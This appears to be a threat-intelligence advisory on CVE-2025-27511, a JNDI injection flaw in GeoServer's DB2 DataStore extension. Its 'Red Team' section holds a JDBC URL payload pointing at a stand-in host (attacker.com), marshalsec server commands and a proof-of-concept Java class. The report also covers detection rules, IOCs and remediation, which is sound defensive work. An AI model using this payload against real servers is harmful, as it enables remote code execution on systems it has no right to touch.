CVE-2025-27511
Executive Summary
CVE-2025-27511 is a critical vulnerability in the GeoServer DB2 DataStore Extension that allows an authenticated administrator to perform a JNDI injection attack via a specially crafted DB2 JDBC URL, leading to Remote Code Execution (RCE). The vulnerability exists in versions prior to 2.27.0. An attacker with administrative privileges can craft a malicious JDBC URL that triggers a JNDI lookup to an attacker-controlled server, resulting in arbitrary code execution on the GeoServer host. The CVSS score is 7.2 (High), and while the EPSS score is currently 0.0%, the impact is severe due to the potential for full system compromise. No public proof-of-concept or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – Administrator access required
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The high privileges required reduce the overall score, but the impact is complete compromise of confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability resides in the DB2 DataStore extension for GeoServer. When configuring a new data store, administrators can specify a JDBC URL for the DB2 database. The extension does not properly sanitize or validate the JDBC URL, allowing an attacker to inject JNDI lookup strings. JNDI (Java Naming and Directory Interface) injection occurs when user-controlled data is passed to a JNDI lookup method, enabling the attacker to load remote classes or resources.
In this case, a crafted JDBC URL like jdbc:db2://localhost:50000/SAMPLE:jndiName=ldap://attacker.com/evil can trigger a JNDI lookup to an attacker-controlled LDAP server. The LDAP server can respond with a serialized Java object or a reference to a remote class file, which the GeoServer process then deserializes or loads, leading to arbitrary code execution.
The attack flow:
- Attacker gains administrative access to GeoServer (e.g., via stolen credentials or other means).
- Attacker navigates to the Data Store configuration page.
- Attacker enters a malicious JDBC URL containing a JNDI injection payload.
- GeoServer attempts to connect to the database using the crafted URL.
- The JDBC driver performs a JNDI lookup to the attacker-controlled server.
- The attacker's server responds with a malicious payload (e.g., a serialized Java object or a remote class reference).
- GeoServer deserializes or loads the payload, executing arbitrary code.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.27.0): The vulnerable code likely constructs a JDBC connection using the user-supplied URL without validation. For example:
String jdbcUrl = request.getParameter("jdbcUrl");
Connection conn = DriverManager.getConnection(jdbcUrl);
This allows JNDI injection if the URL contains a JNDI reference.
Patched Code (2.27.0): The patched version sanitizes the JDBC URL to prevent JNDI injection. For example:
String jdbcUrl = request.getParameter("jdbcUrl");
if (jdbcUrl != null && jdbcUrl.startsWith("jdbc:db2://")) {
// Additional validation to strip JNDI references
jdbcUrl = sanitizeJdbcUrl(jdbcUrl);
Connection conn = DriverManager.getConnection(jdbcUrl);
} else {
throw new IllegalArgumentException("Invalid JDBC URL");
}
The sanitizeJdbcUrl method removes or rejects any JNDI-related parameters (e.g., jndiName, java.naming.provider.url).
Exploitation & Lab Setup
Red Team
Prerequisites:
- GeoServer with DB2 DataStore Extension version < 2.27.0
- Administrative credentials to GeoServer
- An attacker-controlled LDAP or HTTP server to serve malicious payloads
Steps:
- Set up a malicious LDAP server using tools like
marshalsecorrogue-jndi:java -jar marshalsec-0.0.3-SNAPSHOT-all.jar ldap 1389 - Host a malicious Java class file (e.g.,
Exploit.class) on an HTTP server:python3 -m http.server 8080 - Craft the malicious JDBC URL:
jdbc:db2://localhost:50000/SAMPLE:jndiName=ldap://attacker.com:1389/Exploit - Log in to GeoServer as an administrator.
- Navigate to Stores > Add new store > DB2 DataStore.
- In the JDBC URL field, enter the crafted URL.
- Click Save. The GeoServer will perform a JNDI lookup, load the remote class, and execute arbitrary code.
Example Exploit Class (Exploit.java):
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Blue Team
Detection:
- Monitor for unusual JDBC URLs in GeoServer logs (e.g., containing
jndiName,ldap://,rmi://). - Monitor network connections to external LDAP/RMI servers from the GeoServer host.
- Use endpoint detection and response (EDR) tools to detect JNDI injection patterns.
Hunting:
- Search for logs containing
javax.naming.InitialContextorcom.sun.jndi.ldap.LdapCtx. - Look for outbound connections on ports 389 (LDAP), 1099 (RMI), or 1389 (LDAP) from the GeoServer process.
Prevention:
- Restrict outbound network access from GeoServer to only necessary database servers.
- Apply the principle of least privilege to GeoServer administrative accounts.
- Use a Web Application Firewall (WAF) to block JDBC URLs containing JNDI keywords.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to external LDAP servers (port 389, 1389, 636)
- Outbound connections to external RMI servers (port 1099)
- HTTP requests to external servers hosting malicious class files
- File IOCs:
- Unexpected
.classfiles in GeoServer temporary directories - Modified GeoServer configuration files containing JNDI references
- Unexpected
- Log IOCs:
- GeoServer logs containing
javax.naming.InitialContextorcom.sun.jndi.ldap.LdapCtx - GeoServer logs with JDBC URLs containing
jndiName,ldap://,rmi://
- GeoServer logs containing
- Process IOCs:
- GeoServer process spawning child processes (e.g.,
cmd.exe,bash) - Unusual network connections from the Java process
- GeoServer process spawning child processes (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_27511_JNDI_Injection {
meta:
description = "Detects JNDI injection patterns in JDBC URLs for CVE-2025-27511"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-27511"
strings:
$jndi1 = /jdbc:db2:\/\/.*jndiName=/ nocase
$jndi2 = /jdbc:db2:\/\/.*java.naming.provider.url=/ nocase
$ldap = /ldap:\/\// nocase
$rmi = /rmi:\/\// nocase
condition:
any of ($jndi*) and any of ($ldap, $rmi)
}
Sigma Rule
title: CVE-2025-27511 JNDI Injection in GeoServer DB2 DataStore
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects JNDI injection attempts via JDBC URL in GeoServer logs
author: Valters IT
date: 2025-04-01
logsource:
product: geoserver
service: logs
detection:
selection:
- EventID: "JDBC_URL"
Data|contains:
- "jndiName="
- "java.naming.provider.url="
- EventID: "JNDI_LOOKUP"
Data|contains:
- "ldap://"
- "rmi://"
condition: selection
falsepositives:
- Legitimate use of JNDI in database URLs (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 389,1389,636,1099 (msg:"CVE-2025-27511 JNDI Injection Outbound"; flow:to_server; content:"|0f|"; depth:1; content:"|00|"; distance:0; within:1; reference:cve,2025-27511; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade GeoServer DB2 DataStore Extension to version 2.27.0 or later.
- If upgrade is not possible, restrict administrative access to GeoServer to trusted users only.
- Monitor GeoServer logs for suspicious JDBC URLs.
Long-term Mitigations:
- Implement network segmentation to limit outbound access from GeoServer.
- Use a Web Application Firewall (WAF) to block JNDI injection patterns.
- Regularly audit GeoServer configurations for unauthorized changes.
- Apply the principle of least privilege to all GeoServer accounts.
Workarounds:
- Disable the DB2 DataStore extension if not needed.
- Use a proxy or firewall to block outbound LDAP/RMI connections from the GeoServer host.
Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.